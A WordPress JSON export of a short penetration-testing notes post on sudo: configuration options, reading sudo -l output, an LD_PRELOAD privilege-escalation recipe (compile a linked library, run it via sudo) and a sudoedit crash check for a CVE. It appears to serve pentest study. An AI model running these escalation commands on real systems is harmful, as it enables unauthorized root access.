{"id":1546,"date":"2020-05-22T17:31:26","date_gmt":"2020-05-22T15:31:26","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=1546"},"modified":"2023-12-20T20:57:35","modified_gmt":"2023-12-20T19:57:35","slug":"sudo","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=1546","title":{"rendered":"sudo"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Configuration options<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>env_reset<\/strong>: Resets the envi\u00adron\u00adment to default con\u00adfig\u00adured in \/etc\/environment.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>env_keep<\/strong>: Adds envi\u00adron\u00adment vari\u00adables which are addi\u00adtion\u00adal\u00adly allowed. If <code>LD_PRELOAD<\/code> is in there, see&nbsp;below.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>mail_badpass<\/strong>: Sends an email to the admin if a user failed to pro\u00advide a sudo password.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>secure_path<\/strong>: Sets the <span class=\"caps\">PATH<\/span> envi\u00adron\u00adment vari\u00adable to the giv\u00aden&nbsp;paths.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Configurations<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Some\u00adthing like the fol\u00adlow\u00ading from sudo \u2011l means that the user www-data may exe\u00adcute com\u00admands as user script\u00adman\u00adag\u00ader with <code>sudo -u scriptmanager whoami<\/code>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">User www-data may run the fol\u00adlow\u00ading com\u00admands on bashed:<br>(script\u00adman\u00adag\u00ader : script\u00adman\u00adag\u00ader) <span class=\"caps\">NOPASSWD<\/span>: <span class=\"caps\">ALL<\/span><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"caps\">LD_PRELOAD<\/span> exploitation<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">If <span class=\"caps\">LD_PRELOAD<\/span> is allowed for sudo com\u00admands, then a library can be (cre\u00adat\u00aded an) loaded before the command.<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Cre\u00adate a library file like <a href=\"https:\/\/naturtrunken.de\/p151_git\/scripts\/privesc\/linux\/escape_ld_preload.c\">escape_ld_preload.c<\/a><\/li><li>Com\u00adpile it as library:<br><code>gcc -fPIC -shared -nostartfiles -o escape_ld_preload.so escape_ld_preload.c<\/code><\/li><li>Append it to a sudo-enabled com\u00admand:<br><code>sudo LD_PRELOAD=\/tmp\/escape_ld_preload.so passwd<\/code><\/li><\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"caps\">CVE-2019<\/span>\u201318634<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Vul\u00adner\u00ada\u00adble if this cre\u00adat\u00aded a mem\u00ado\u00adry corruption:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">$ sudoedit -s '\\' $(python3 -c 'print(\"A\"*1000)')\nmalloc(): memory corruption\nAborted (core dumped)<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Con\u00adfig\u00adu\u00adra\u00adtion options env_reset: Resets the envi\u00adron\u00adment to default con\u00adfig\u00adured in \/etc\/environment. env_keep: Adds envi\u00adron\u00adment vari\u00adables which are addi\u00adtion\u00adal\u00adly allowed. If <span class=\"caps\">LD_PRELOAD<\/span> is in there, see&nbsp;below. mail_badpass: Sends an email to the admin if a user failed to pro\u00advide a sudo pass\u00adword. secure_path: Sets the <span class=\"caps\">PATH<\/span> envi\u00adron\u00adment vari\u00adable to the giv\u00aden&nbsp;paths. Con\u00adfig\u00adu\u00adra\u00adtions Some\u00adthing like the following&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[468],"tags":[57],"class_list":["post-1546","post","type-post","status-publish","format-standard","hentry","category-general","tag-sudo"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1546","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1546"}],"version-history":[{"count":5,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1546\/revisions"}],"predecessor-version":[{"id":2913,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/1546\/revisions\/2913"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1546"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1546"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1546"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}